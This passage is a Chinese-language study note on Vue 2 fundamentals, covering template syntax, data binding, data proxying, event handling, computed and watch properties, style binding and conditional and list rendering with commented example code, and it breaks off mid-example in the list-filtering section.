前端学习--Vue部分上

文章目录

前端学习–Vue部分上

1.Vue简介

Vue是一套用于构建用户界面的渐进式JavaScript框架。Vue可以自底向上逐层的应用,它可以引入一个轻量小巧的核心库(简单应用),也可以引入各式各样的Vue插件(复杂应用)。

2.Vue特点

1.采用组件化模式,提高代码的复用率,且让代码更好的维护。

2.声明式编码,让编码人员无需直接操作DOM,提高开发效率。

3.使用虚拟DOM和优秀的Diff算法,尽可能的复用DOM节点。

这里需要知道的是,我们之前使用的JavaScript编码是命令式编码,只能由我们自己一步一步的编写,开发效率不高。而声明式编码可以让我们直接调用已经准备好的东西,来实现我们想要的效果,提高了开发效率。

其次,使用原生的JavaScript编码在更新内容时,所有的内容都需要重新再来,不管更新的内容照比之前的内容是否重复,这样就导致了代码复用率不高。而vue通过使用Diff算法,只对有变化的部分进行更新,没有变化的部分保持不动。

3.学习Vue的基础

ES6语法规范、ES6模块化、包管理器、原型、原型链、数组常用方法、axios、promise…

提要

如果你所学的知识没有覆盖到这些,请务必对我之前所写的js笔记中的内容有大概的印象。

4.Vue官网及使用

vue官网地址:https://v2.cn.vuejs.org/

有任何不清楚的问题:“学习”–“教程“/”API”(风格指南可以先不用管)

cookbook中是一些技巧,提高开发效率

“生态系统”–“工具”–“Vue CLI”(手脚架)

“生态系统”–“工具”–“Vue Router”(路由)

“资源列表”–“Awesome Vue”(里面有实现功能或者样式的代码)点击之后如果把网址中的vue改为react就变成react的内容了

“资源列表”–“浏览和vue相关的包“(是一个很好地网站)

其余导航栏自行点击查看

5.搭建Vue开发环境

打开官网,找到"教程"–“安装”–直接用<script>引入;我们下载开发版本,因为有提示。

在这里插入图片描述

在控制台会看到这样的提示,解决方法:

(1)在官网下载Vue devtools,获取Chrome扩展程序,然后打开浏览器的扩展程序,将文件拖进来。若第一条还是没有消失,点击这个插件的详情,找到允许访问文件地址,开启即可。

(2)在main.js文件中配置Vue.config.productionTip = false

6.初识Vue

<body>
 <!-- 容器 -->
 <div class="root">
   <!-- 插值语法 -->
   <h1>Hello.{{name}}</h1>
 </div>
 <script type="text/javascript">
     
   // 要有一个容器,然后创建一个 Vue实例,并且传入配置对象
   // 容器中依然是符合html规范,只不过混入一些 Vue语法,例如:{{name}}
   // 容器里面的代码被称为 Vue模板
   // 一个 Vue实例不会接管多个容器,也就是说一一对应;
   // {{xxx}}中的xxx要写 js 表达式,并且xxx可以自动读取data里的所有属性;
   // 一旦data数据改变,页面也会自动更新;

   // 创建vue实例
   const vm = new Vue({
     // el用于指定当前 Vue实例为哪个容器服务,可以理解为绑定。
     el: '.root',
     // data用于存储数据,供el所指定的容器使用,暂时写成对象
     data: {
       // 不仅可以放对象,还可以放函数
       name: 'Vue'
     }
   })
 </script>
</body>
<!DOCTYPE html>
<html lang="en">

<head>
 <meta charset="UTF-8">
 <meta name="viewport" content="width=device-width, initial-scale=1.0">
 <title>Document</title>
</head>

<body>

 <!-- 
   注意区分:js表达式和 js代码:
       1.表达式:一个表达式会产生一个值,可以放在任何一个需要值得地方
         例如:(1)a  (2)a+b  (3)函数返回值  (4)x===y?'a':'b'
       2.js代码(语句)
         例如:(1)if(){}  (2)for(){} 
   -->

 <script src="../js/vue.js"></script>
 <!-- 容器 -->
 <div class="root">
   <!-- 插值语法 -->
   <!-- toUpperCase()函数将小写变换为大写 -->
   <h1>hello,{{name.toUpperCase()}}</h1>
   <br />
   <!-- 指令语法 -->
   <a v-bind:href="url">baidu</a>,{{address.country}}
 </div>

 <script type="text/javascript">
   // Vue实例
   const vm = new Vue({
     el: '.root',
     data: {
       name: 'Vue',
       url: 'https://www.baidu.com',
       address: {
         country: 'China',
         city: 'Beijing'
       }
     }
   })

 </script>
</body>

</html>

7.Vue模板语法

<body>

  <!-- 
      Vue模板语法有两大类:
      1、插值语法:
          功能:用来解析标签体内容。(放值)
          写法:{{xxx}},xxx是js表达式,可以直接读取data里面的属性。
      2、指令语法:
        功能:用来解析标签(包括:标签属性、标签体内容、绑定事件......)
        写法:v-bind:href='xxx' 或者简写成 :href = 'xxx',里面的xxx同样也是js表达式,也可以读取data里面的属性。
        备注:Vue里面指令很多,形式都是v-???,并不是所有简写都和v-bind一样。
-->

  <script src="../js/vue.js"></script>
  <!-- 容器 -->
  <div class="root">
    <!-- 插值语法 -->
    <!-- toUpperCase()函数将小写变换为大写 -->
    <h1>hello,{{name.toUpperCase()}}</h1>
    <br />
    <!-- 指令语法 -->
    <!-- v-bind: 单向绑定  url通过v-bind成为表达式-->
    <a v-bind:href="url">baidu</a>,{{address.country.toUpperCase()}}
  </div>

  <script type="text/javascript">
    // Vue实例
    const vm = new Vue({
      el: '.root',
      data: {
        name: 'Vue',
        url: 'https://www.baidu.com',
        address: {
          country: 'China',
          city: 'Beijing'
        }
      }
    })
  </script>
</body>

8.数据绑定

Vue中有两种数据绑定:

1、单向绑定(v-bind):数据只能从data流向页面。

2、双向绑定(v-model):数据不仅可以从data流向页面,还可以从页面流向data。

备注:
	1、双向绑定一般用于表单类元素(如:input、select...)
	2、v-model:value 可以简写为 v-model(因为v-model默认收集就是value值)
<body>

  <script src="../js/vue.js"></script>
  <!-- 容器 -->
  <div class="root">
    <!-- 指令语法 -->
    <!-- 单向数据绑定:<input type="text" v-bind:value="name"><br /> -->
    <!-- 双向数据绑定:<input type="text" v-model:value="name"> -->
    <!-- 简写 -->
    单向数据绑定:<input type="text" :value="name"><br />
    双向数据绑定:<input type="text" v-model="name">
  </div>

  <script type="text/javascript">
    // Vue实例
    const vm = new Vue({
      el: '.root',
      data: {
        name: 'Vue',
      }
    })
  </script>
</body>

9.data和el两种写法

<body>

  <!-- 
    data和el两种写法:

      1、el的两种写法:
              (1)new Vue时候配置el属性
              (2)先创建Vue实例,然后通过vm.$mount('.root')指向el的值。
      
      2、data的两种写法:
              (1)对象式(就是之前写的那样)
              (2)函数式(注意:data用函数式,return后面必须是对象)
         如何选择:现在两种写法都可以,但是用到组件时,必须用函数式,否则报错。 
    -->

  <div class="root">
    <h1>hello,{{name}}</h1>
  </div>
  <script src="../js/vue.js"></script>
  <script>
    const vm = new Vue({
      el: '.root',//第一种写法
      // data的第一种写法对象式
      /* data: {
        name: 'vue'
      } */
      // data的第二种写法函数式 学习到组件必须写函数式
      // 注意:data函数不能写成箭头函数,因为箭头函数没有自己的this,往外找直接指向window
      // 下面这种写法不是最简形式
      data: function () {
        console.log('@@@', this) //this指向vue实例对象 
        return {
          name: 'vue'
        }
      }
    });
    // mount有挂载的意思
    vm.$mount('.root')//第二种写法
  </script>
</body>

10.MVVM模型

1、M:模型(model):data中的数据;

2、V:视图(view):模板代码;

3、VM:视图模型(viewModel):Vue实例

观察发现:

​ 1、data中的属性,最后都会出现在VM身上

​ 2、VM身上的属性以及Vue实例中的属性,在Vue模板(代码)中都可以直接使用

在这里插入图片描述

<body>
  <!-- View部分 -->
  <div class="root">
    <!-- 补充:只要在vm与vm原型身上的内容,都可以直接拿来使用 -->
    <h1>名称:{{name}}</h1>
    <h1>地址:{{address}}</h1>
    <!-- <h1>测试一下:{{_hasHookEvent}}</h1> -->
  </div>
  <script src="../js/vue.js"></script>
  <script>
    // viewModel部分
    const vm = new Vue({
      el: '.root',
      // model部分
      data() {
        return {
          name: 'vue',
          address: 'China'
        }
      },
    })
    // 总结:MVVM模型相当于数据与页面的桥梁 
  </script>
</body>

11.Object.defineProperty

Object.defineProperty方法在Vue底层中运用广泛(重要)。它用来给一个对象添加属性。

<body>

  <script>
    let number = 18
    let person = {
      name: 'bb',
      sex: 'man',
      // age:18, //不要考虑将数值直接写入对象
    }
    // object.defineproperty(对象名,对象属性,值)
    // define定义   property属性
    // 它可以对属性有高级的设置
    Object.defineProperty(person, 'age', {
      // value: 18,
      // enumerable: true, // 控制属性是否可以枚举(遍历),默认值是false
      // writable: true, // 控制属性是否被修改,默认值是false
      // configurable: true, // 控制属性是否被删除 

      // 现在要用number的值给到age上
      get() {
        console.log('有人读取age属性')
        return number
      },
      set(value) {
        console.log('有人修改了age属性,值是', value)
        number = value
      }

    })
    console.log(person)

    // 补充:object.keys(对象名) 可将对象的属性转换成数组
  </script>
</body>

12.数据代理

数据代理的根本目的是为了更加方便的操作data中的数据,提升开发效率。

<script>
   //通过修改obj1的x值,间接修改obj中的x
       var obj = {x:10}
       var obj1 = {y:21}
       Object.defineProperty(obj1,'x',{
           get(){
               return obj.x;
           },
           set(value){
               obj.x = value
           }
       })
   </script>
<body>
   
   <!--  

     1、Vue中数据代理:通过VM对象来代理data对象中属性的操作(读/写)
     2、Vue中数据代理的好处:更加方便操作data中数据
     3、基本原理:
     通过object.defineproperty()把data对象中所有属性添加到 VM 中,并且给每一个属性添加getter和setter方法,在getter/setter内部去操作(读/写)data中对应的属性。 

   -->
   
 <div class="root">
   <h1>名称:{{name}}</h1>
   <!-- 如果没有数据代理,那么我们就只能这样编写代码,很不方便。 -->
   <h1>地址:{{_data.address}}</h1>
 </div>
 <script>
   const vm = new Vue({
     el: '.root',
     // model部分
     data() {
       return {
         name: 'vue',
         address: 'China'
       }
     }
   })
 </script>
</body>

13.事件处理

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <script src="../js/vue.js"></script>
</head>

<body>

  <!-- 

    事件的基本使用:
        1、使用 v-on:xxx 或 @xxx绑定事件。其中 xxx是事件名;
        2、事件的回调写在methods对象中,最终会在vm中;
        3、methods中配置的函数,不要用箭头函数!!!否者this就不是vm了;
        4、methods中的函数,都是Vue所管理的函数,this指向vm 或组件实例对象;
        5、@click=“demo” 和@click=“demo($event)”效果一致,但是后者传参。
        6、@xxx="yyy",yyy可以写简单的语句

  -->


  <div class="root">
    <h1>名称:{{name}}</h1>
    <h1>地址:{{address}}</h1>
    <button v-on:click="showInfo">点击提示信息(不传参)</button>
    <button v-on:click="showInfo1(66,$event)">点击提示信息(传参)</button>

  </div>
  <script>

    const vm = new Vue({
      el: '.root',
      // data中有数据劫持和数据代理
      data() {
        return {
          name: 'vue',
          address: 'China',
        }
      },
      // 配置很多事件的回调 放方法和函数
      methods: {
        showInfo(e) {
          // e.target 拿到触发事件的对象 这里就是拿到button
          // console.log(e.target.innerText)
          // console.log(this === vm) //this指向 vm
          alert('hello')
        },
        // 有参数的情况
        showInfo1(number, e) {
          console.log(number, e)
        }
      }
    })
  </script>
</body>

</html>

14.事件修饰符

   <style>
       * {
           margin-top: 10px;
       }
       .demo {
           width: 200px;
           height: 100px;
           background-color: skyblue;
       }
       ul {
           height: 200px;
           width: 200px;
           background-color: #ccc;
           overflow: auto;
       }
       li {
           height: 100px;

       }
   </style>
</head>
<body>
   
   <!-- 

   Vue中的事件修饰符:
       1、prevent:阻止默认事件(常用);
       2、stop:阻止事件冒泡(常用);
       3、once:事件只触发一次(常用);
       4、capture:使用事件的捕获模式;
       5、self:只有event.target是当前操作的元素时才触发事件,它可以变相阻止冒泡;
       6、passive:事件的默认行为立即执行,无需等待事件回调执行完毕;(一般用来优化,移动端用的较多)
       7、修饰符可以连着写!!!例如:@click.prevent.stop(阻止默认行为而且阻止冒泡)
		后面三个小点不是很常用,了解即可

 -->
   
   <div class="root">
       <h2>hello,{{name}}</h2>
       <!-- 在事件后面加上prevent后,后面的跳转就不会发生,阻止了默认事件-->
       <a href="http://www.baidu.com" @click.prevent="showInfo">点我提示信息</a>

       <!-- 在事件上添加stop会先阻止事件冒泡再阻止默认事件 -->
       <div class="demo " @click="showInfo">
           <button @click.stop.prevent="showInfo">点我提示信息</button>
       </div>

       <!-- 在事件上添加once,事件只会触发一次 -->
       <button @click.once="showInfo">点我提示信息</button>

       <!-- 默认事件冒泡,在事件后面添加capture后,就是处理捕获 -->
       <div class="demo " @click.capture="showMsg(2)">
           <button @click="showMsg(1)">点我提示信息1</button>
       </div>
       <!-- self:只有event.target是当前操作的元素时才触发事件; -->
       <div class="demo " @click.self="showMsg(2)">
           <button @click="showMsg(1)">点我提示信息1</button>
       </div>

       <!-- passive:事件的默认行为立即执行,无需等待事件回调执行完毕;(一般用来优化,移动端用的较多) -->
       <ul @wheel.passive="showInfo2">
           <li>1</li>
           <li>2</li>
           <li>3</li>
           <li>4</li>
           <li>5</li>
       </ul>

   </div>
   <script>
       new Vue({
           el:'.root',
           data:{name:'bb'},
           methods:{
               showInfo(){
                   alert('同学你好帅!!!')
               },
               showMsg(e){
                   console.log(e);
                   alert('hello')
               },
               showInfo2(){
                   for(var i =0;i<100000;i++){
                       console.log('#');
                   }
               }
           }
       })
   </script>
</body>

15.键盘事件

1、Vue中常用的键盘别名(和keyup、keydown搭配使用):

    回车 => enter
                                                                    
    删除 => delete(捕获“删除”和‘退格’键)
                                                                    
    退出 => esc
                                                                    
    空格 => space
                                                                    
    换行 => tab(特殊,必须配合keydown去使用)
                                                                    
    上 => up
                                                                    
   下=> down
                                                                    
    左 => left
                                                                    
    右 => right

2、Vue未提供别名的按键,可以使用按键原始的key值去绑定,但注意转为kebab-case(短横线命名)

3、系统修饰键(用法特殊):Ctrl、Alt、shift、meta(win键)

    (1)配合keyup使用:按下修饰键的同时,还得按下其他键,随后释放该键,事件才触发。
                                                                    
    (2)配合keydown使用:正常触发
                                                                    
    (3)如果想ctrl + y 触发,可以写@keyup.ctrl.y

4、可以使用keycode去指定具体按键(不推荐,以后弃用)

5、Vue.config.keyCodes.自定义键名 = 建码。可以定制按键别名(不推荐使用)

<body>
    <div class="root">
        <h2>hello,{{name}}</h2>
        <!-- 按下enter后才会触发事件 -->
        <!-- placeholder文本框输入前提示语 -->
        <input type="text" placeholder="输入完后按enter" @keydown.up="showInfo">
        <!-- 没有别名的大写键 -->
        <input type="text" placeholder="输入完后按capslock" @keydown.caps-lock="showInfo">
        <input type="text" placeholder="输入完后按ctrl" @keyup.ctrl="showInfo">
 
    </div>
    <script> 
        new Vue({
            el:'.root',
            data:{
                name:'阿胜'
            },
            methods:{
                showInfo(e){
                    console.log(e.target.value);
                }
            }
        })
    </script>
</body>

16.计算属性(computed)

计算属性会在页面初始时自动调用一次。

<body>

<!-- 
 计算属性:
   1、定义:要用的属性不存在,通过已有的属性计算得来。
   2、原理:底层借助了object.defineproperty方法提供的getter和setter。
   3、get函数什么时候执行?
     (1)初次读取时执行一次
     (2)当依赖的数据发生变化时会被再次调用
4、优势:与methods实现相比,内部有缓存机制(复用),效率更高,调试方便
5、备注:
       1、计算属性最终出现在vm上,直接读取使用即可
       2、如果计算属性要被修改,那必须的写set函数去响应修改,且set中要引起计算时依赖的数据发生变化。 
-->

 <div class="root">
   姓: <input type="text" v-model=firstName><br />
   名: <input type="text" v-model=lastName><br />
   全名:{{firstName + '-'+ lastName}}<br />
   <!-- 全名:{{fullName()}}<br /> 错误写法-->
   全名:{{fullName}}
 </div>
 <script>
   var vm = new Vue({
     el: '.root',
     data: {
       firstName: '张',
       lastName: '三'
     },
     // 计算属性 computed 有缓存
     computed: {
       fullName: {
         // get作用 读取fullName或者所依赖的数据发生变化时 就会调用get
         get() {
           return this.firstName + '-' + this.lastName
         },
         // 如果只读(大多数情况)set可以不用写  fullName有变化
         set(value) {
           // 这里直接成为一个数组
           const arr = value.split('-')
           this.firstName = arr[0];
           this.lastName = arr[1];
         }
       }
     }
   })
 </script>

</body>

简写

<body>
 <div class="root">
   姓: <input type="text" v-model=firstName><br />
   名: <input type="text" v-model=lastName><br />
   全名:{{firstName + '-'+ lastName}}<br />
   全名:{{fullName}}
 </div>
 <script>
   var vm = new Vue({
     el: '.root',
     data: {
       firstName: 'zhang',
       lastName: 'san'
     },
     // 计算属性 computed 有缓存
     computed: {
       // 可以里面computed里面套了一个函数
       fullName() {
         return this.firstName + '-' + this.lastName
       }
     }
   })
 </script>
</body>

17.侦听属性(watch)

本节讲了watch属性里面的这两个属性和方法,immediate和handler

<body>

  <!-- 
    监视属性watch:
      1、当被监视的属性变化时,回调函数自动调用,进行相关操作。
      2、监视的属性必须存在,才能进行监视!!
      3、监视的两种写法:
        (1)new Vue时传入watch配置
        (2)通过vm.$watch监视 
  -->

  <div class="root">
    <h2>今天天气{{info}}</h2>
    <!-- 绑定事件的时候:@xxx=“yyy” yyy可以写一些简单语句 不过不推荐 -->
    <!-- <button @click="isHot!=isHot">切换天气</button> -->
    <button @click="changeWeather">切换天气</button>
  </div>
  <script>
    var vm = new Vue({
      el: '.root',
      data: {
        isHot: true
      },
      // 计算属性 computed 有缓存
      computed: {
        // 可以里面computed里面套了一个函数
        info() {
          return this.isHot ? '炎热' : '凉爽'
        }
      },
      methods: {
        changeWeather() {
          this.isHot = !this.isHot
        }
      },
      // 第一种监视写法 已经很明确的知道要监视谁用这种写法
      /* watch: {
        isHot: {
          immediate: true,//初始化时让 handle调用一下
          // isHot发生改变时调用 handler
          handler(newValue, oldValue) {
            console.log('isHot被修改', newValue, oldValue);
          }
        }
      }, */
    })
    // 第二种监视写法 没有明确的知道要监视谁用这种写法
    vm.$watch('isHot', {
      immediate: true,//初始化时让 handle调用一下
      // isHot发生改变时调用 handler
      handler(newValue, oldValue) {
        console.log('isHot被修改', newValue, oldValue);
      }
    })
  </script>
</body>

18.深度监视

<body>

 <!-- 
   深度监视:
     (1)Vue中的watch默认不监视对象内部值得改变(一层)。
     (2)配置deep:true可以监视对象内部值得改变(多层)。

   备注:
     (1)Vue自身可以监视对象内部值的改变,但是Vue提供的watch默认不可以!
     (2)使用watch时根据数据的具体结构,决定是否深度监视。
-->

 <div class="root">
   <h3>a的值是:{{numbers.a}}</h3>
   <button @click="numbers.a++">点击a++</button>
   <h3>b的值是:{{numbers.b}}</h3>
   <button @click="numbers.b++">点击b++</button>
   <button @click="numbers={a:666,b:888}">彻底替换掉numbers</button>
 </div>
 <script>
   const vm = new Vue({
     el: '.root',
     data() {
       return {
         numbers: {
           a: 1,
           b: 1
         }
       }
     },
     watch: {
       // 监视多级结构中某个属性的变化
       'number.a': {
         handler() {
           console.log('a改变了')
         }
       },
       numbers: {
         // 深度监听 监视多级结构中所有属性的变化
         // 默认不开启是为效率
         deep: true,
         handler() {
           console.log('number改变了')
         }
       }
     }
   })
 </script>
</body>

19.侦听的简写

什么时候运用简写?答:简单来说不用深度监视的时候。

 watch: {
        // 正常写法
        // isHot: {
        //     handler(newValue, oldValue) {
        //         console.log('isHot被修改', newValue, oldValue);
        //     }
        // }
        // 简写 简写的前提是只有handler
        isHot(newValue, oldValue) {
          console.log('isHot被修改', newValue, oldValue);
        }
      }
    })
    // 正常写法
    // vm.$watch('isHot',{
    //         immediate: true,//初始化时让handle调用一下
    //             handler(newValue, oldValue) {
    //                 console.log('isHot被修改', newValue, oldValue);
    //             }
    //     })

    // 简写
    vm.$watch('isHot', function (newValue, oldValue) {
      console.log('isHot被修改', newValue, oldValue)
    })

20.computed和watch之间的区别

<body>

  <!-- 
    computed和watch之间的区别:
        1、computed能完成的功能,watch都可以完成
        2、watch能完成的,computed不一定可以完成
          例如:watch可以进行异步操作(函数的回调)
    两个重要的小原则:
        1、被 Vue管理的函数,最好写成普通函数function(){},这样this就指向Vue或组件实例对象
        2、所有不被 Vue管理的函数(定时器回调函数,ajax的回调函数、promise的回调函数等),最好写成箭头函数()=>{},这样this的指向才是vm 或者组件实例对象。
 -->

  <div class="root">
    姓: <input type="text" v-model=firstName><br />
    名: <input type="text" v-model=lastName><br />
    全名:{{firstName + '-'+ lastName}}<br />
  </div>
  <script>
    const vm = new Vue({
      el: '.root',
      data() {
        return {
          firstName: '张',
          lastName: '三',
          fullName: '张-三'
        }
      },
      watch: {
        firstName(val) {
          //添加定时器   watch的优势,无压力添加异步计算
          //函数内部可以写箭头函数
          setTimeout(() => {
            this.fullName = val + '-' + this.lastName
          }, 1000);
        },
        lastName(val) {
          this.fullName = this.firstName + '-' + val
        }
      },
      //总结:computed和 watch都能实现的情况下,用 computed
    })

  </script>
</body>

21.绑定样式

<!-- 
  绑定样式:
    1. class样式
                写法:class="xxx" xxx可以是字符串、对象、数组。
                        字符串写法适用于:类名不确定,要动态获取。
                        对象写法适用于:要绑定多个样式,个数不确定,名字也不确定。
                        数组写法适用于:要绑定多个样式,个数确定,名字也确定,但不确定用不用。
    2. style样式
                :style="{fontSize: xxx}"其中xxx是动态值。
                :style="[a,b]"其中a、b是样式对象。
-->

<style>
  .basic {
    width: 400px;
    height: 100px;
    padding-left: 10px;
    border: 1px solid #000;
  }

  /* 在happy sad normal中三选一 */
  .happy {
    background-color: #ff8080;
    border: 2px solid #ff80ff;
  }

  .sad {
    background-color: #808080;
    border: 2px solid #00ff00;
  }

  .normal {
    background-color: #14acf5;
    border: 2px solid #000;
  }

  /* 三种效果可以同时使用 */
  .s1 {
    font-size: 50px;
  }

  .s2 {
    text-shadow: 2px 2px 5px plum;
  }

  .s3 {
    border-radius: 20px;
  }
</style>

<body>

  <div class="root">
    <!-- class样式 -->
    <!-- 不变的样式正常写  变化的样式进行绑定-->
    <!-- 适用于样式类名不确定,需要动态指定 -->
    <div class="basic" :class="mood" @click="changeMood">{{name}}</div><br />
    <!-- 跟数组进行绑定 -->
    <!-- 适用于样式个数不确定,类名不确定 -->
    <div class="basic" :class="classArr">{{name}}</div><br />
    <!-- 跟对象进行绑定 -->
    <!-- 适用于样式个数与类名都确定,但是要动态的决定用不用 -->
    <div class="basic" :class="classObj">{{name}}</div>
    <!-- style样式 -->
    <!-- 不常用 -->
    <div class="basic" :style="styleObj1">{{name}}</div>
    <!-- 不常用 数组写法 -->
    <div class="basic" :style="['styleObj1','styleObj2']">{{name}}</div>
    <div class="basic" :style="styleArr">{{name}}</div>

  </div>
  <script>
    const vm = new Vue({
      el: '.root',
      data() {
        return {
          name: 'Vue',
          mood: 'normal',
          classArr: ['s1', 's2', 's3'],
          classObj: {
            s1: false,
            s2: false,
          },
          styleObj1: {
            fontSize: '40px',
            color: 'pink',
          },
          styleObj2: {
            fontSize: '10px',
            color: 'plum',
          },
          styleArr: [
            {
              fontSize: '40px',
              color: 'pink',
            },
            {
              fontSize: '10px',
              color: 'plum',
              backgroundColor: 'gray'
            }
          ]
        }
      },
      methods: {
        changeMood() {
          // console.log(this)
          const arr = ['happy', 'sad', 'normal']
          this.mood = arr[Math.floor(Math.random() * 3)]
        }
      },
    })
  </script>
</body>

22.条件渲染

<body>
 <!--
    条件渲染:
          1.v-if
              写法:
                (1).v-if="表达式"
                (2).v-else-if="表达式"
                (3).v-else="表达式"
              适用于:切换频率较低的场景。
              特点:不展示的DOM元素直接被移除。
              注意:
                v-if可以和:v-else-if、v-else一起使用,但要求结构不能被“打断”。
                还可以和标签template使用,template标签不会出现在DOM中
          2.v-show
                写法:v-show="表达式"
                适用于:切换频率较高的场景。
                特点:不展示的DOM元素未被移除,仅仅是使用样式隐藏掉
          3.备注:使用v-if的时,由于v-if有逻辑限制,元素可能无法获取到,而使用v-show一定可以获取到。
-->

  <div id="root">
    <h2>当前的n值是{{n}}</h2>
    <button @click="n++">点我n+1</button>
    <!-- v-show要能转换为一个布尔值 v-show条件渲染 -->
    <!-- 适合变化频率高的 -->
    <!-- <h2 v-show="false">欢迎来到{{name}}</h2> -->
    <!-- <h2 v-show="1===1">欢迎来到{{name}}</h2> -->

    <!-- 使用v-if来进行条件渲染 -->
    <!-- 适合变化频率低的 -->
    <!-- <h2 v-if="false">欢迎来到{{name}}</h2> -->
    <!-- <h2 v-if="1===1">欢迎来到{{name}}</h2> -->

    <!-- v-if和 v-else-if 逻辑和正常的 if、else语句一样 -->
    <!-- 注意:v-else记住不能打断,要连着写 -->
    <!-- <div v-if="n === 1">Angular</div> -->
    <!-- <div v-else-if="n === 2">React</div> -->
    <!-- <div>@</div> --><!-- 打断 出现报错-->
    <!-- <div v-else-if="n === 3">Vue</div> -->
    <!-- <div v-else>哈哈</div>-->

    <!-- v-if与template的配合使用 -->
    <!-- 注意:v-show不能与template的配合使用 -->
    <template v-if="n%2 === 1">
      <h2>你好</h2>
      <h2>上海</h2>
      <h2>北京</h2>
    </template>
  </div>
  <script type="text/javascript">
    const vm = new Vue({
      el: '#root',
      data: {
        name: 'shanghai',
        n: 0
      }
    })
  </script>
</body>

23.列表渲染

23.1基本列表

<!doctype html>
<html lang="en">

<head>
<meta charset="UTF-8">
<meta name="viewport"
 content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>基本列表</title>
<script src="../js/vue.js"></script>
</head>

<body>

<!--
        v-for指令:
        1.用于展示列表数据
        2.语法:v-for="(item, index) in xxx" :key="yyy"
        3.可遍历:数组、对象、字符串(用的很少)、指定次数(用的很少)
-->

<div id="root">
 <h2>人员列表</h2>
 <ul>
   <!--遍历数组 常用-->
   <!--循环列表的方法 类似与for in循环遍历-->
   <!--:代表v-bind 属性key让每一个li有了唯一的标识,key一定不要重复-->
   <!--v-for(for in 或者 for of)可以接受到两个参数,一个是当前的元素另一个是当前元素的索引 类似于下面的 person,index-->
   <li v-for='(person, index) in persons' :key="index">
     <!--person可能来自形参,也可能来自于写在data里的属性,更可能来自于计算属性 computed-->
     {{person.name}} - {{ person.age }}
   </li>
 </ul>

 <!--遍历对象-->
 <h2>汽车信息</h2>
 <!--注意遍历对象的时候先收到的是每一项的属性的value,第二项是对应的键名:key-->
 <ul v-for="(val, k) of car" :key="k">
   <li>{{ k }} -- {{ val }}</li>
 </ul>

 <!--遍历字符串 用的不多-->
 <h2>测试遍历字符串</h2>
 <!--注意遍历字符串的时候先收到的是字符串中每一个字符,第二项是其对应的索引index-->
 <ul v-for="(c, index) of str" :key="index">
   <li>{{ index }} -- {{ c }}</li>
 </ul>

 <!--遍历指定次数 用的不多-->
 <h2>遍历指定次数</h2>
 <!--注意遍历指定次数的时候先收到的是number(例如5,则number是1,2,3,4,5),第二项是对应index(从0开始计数,则是0,1,2,3,4)-->
 <ul v-for="(num, index) in 5" :key="index">
   <li>{{ index }} -- {{ num }}</li>
 </ul>

</div>
<script type="text/javascript">
 const vm = new Vue({
   el: '#root',
   data: {
     //数组
     persons: [
       { id: '001', name: '张三', age: 18 },
       { id: '002', name: '李四', age: 19 },
       { id: '003', name: '王五', age: 20 }
     ],
     car: {
       name: '奥迪a8',
       price: '70w',
       color: '黑色'
     },
     str: 'hello'
   }
 })
</script>
</body>

</html>

23.2key的作用与原理

<!doctype html>
<html lang="en">

<head>
<meta charset="UTF-8">
<meta name="viewport"
 content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>基本列表</title>
<script src="../js/vue.js"></script>
</head>

<body>

<!-- 
   面试题:react、vue中的 key有什么作用?(key的内部原理)
   key是新与旧虚拟DOM做对比算法的根本依据

      1. 虚拟 DOM中 key的作用:
            key是虚拟 DOM对象的标识,当数据发生变化时,Vue会根据【新数据】生成【新的虚拟DOM】,
            随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较,比较规则如下。

      2.对比规则:
            (1).旧虚拟DOM中找到了与新虚拟DOM相同的key:
            ①.若虚拟DOM中内容没变, 直接使用之前的真实 DOM!
            ②.若虚拟DOM中内容变了, 则生成新的真实 DOM,随后替换掉页面中之前的真实DOM。
            (2).旧虚拟DOM中未找到与新虚拟DOM相同的key
            创建新的真实DOM,随后渲染到到页面。

      3. 用index作为key可能会引发的问题:
            1. 若对数据进行:逆序添加、逆序删除等破坏顺序操作:
            会产生没有必要的真实DOM更新 ==> 界面效果没问题, 但效率低。
            2. 如果结构中还包含输入类的DOM:
            会产生错误DOM更新 ==> 界面有问题。

      4. 开发中如何选择key?:
            1.最好使用每条数据的唯一标识作为 key, 比如id、手机号、身份证号、学号等唯一值。
            2.如果不存在对数据的逆序添加、逆序删除等破坏顺序操作,仅用于渲染列表用于展示,
            使用index作为key是没有问题的。
		 -->

  <div id="root">
    <h2>人员列表</h2>
    <button @click.once="add">添加一个老刘</button>
    <ul>
      <!-- key唯一标识,它相当于现实生活中的身份证 -->
      <!-- 属性key是被vue给征用的,并不反应在真实dom上 -->
      <!--:key默认index(索引),不过尽量不要使用默认值 -->
      <!-- 不能使用的原因:如果改变数组顺序可能会出问题 -->
      <li v-for='(person, index) in persons' :key="person.id">
        {{person.name}} - {{ person.age }}
        <!--为了看到 key值的不正确滥用所导致的问题,我们添加一个input框-->
        <!-- 触发这个错误需要把 :key="person.id"改为:key="index" -->
        <input type="text" />
      </li>
    </ul>
  </div>
  <script type="text/javascript">
    Vue.config.productionTip = false;
    new Vue({
      el: '#root',
      data: {
        //数组
        persons: [
          { id: '001', name: '张三', age: 18 },
          { id: '002', name: '李四', age: 19 },
          { id: '003', name: '王五', age: 20 }
        ],
      },
      methods: {
        add() {
          //往数组的头添加元素 push数组后加
          this.persons.unshift({
            id: '004',
            name: '老刘',
            age: 40
          })
        }
      }
    })
  </script>
</body>

</html>

23.3列表过滤

用到了filter(element)方法。

<body>
  <div id="root">
    <h2>人员列表</h2>
    <!--v-model双向绑定-->
    <input type="text" placeholder="请输入名字" v-model="keyword" />
    <ul v-for="p in filPersons" :key="p.id">
      <li>{{p.name}}-{{p.age}}- {{p.sex}}</li>
    </ul>
  </div>
  <script type="text/javascript">
    /*  // 用监视属性书写功能
     new Vue({
       el: '#root',
       data: {
         keyword: '',
         persons: [
           { id: "001", name: '周冬雨', age: 20, sex: '女' },
           { id: "002", name: '马冬梅', age: 19, sex: '女' },
           { id: "003", name: '周杰伦', age: 21, sex: '男' },
           { id: "004", name: '温兆伦', age: 22, sex: '男' },
         ],
         // 建立一个新的数组来存放过滤后的内容
         filPersons: []
       },
       //watch监听用户输入项keyword的变化
       watch: {
         keyword: {
           immediate: true, //上来就进行监视获得到的newV是''
           handler(newV) {
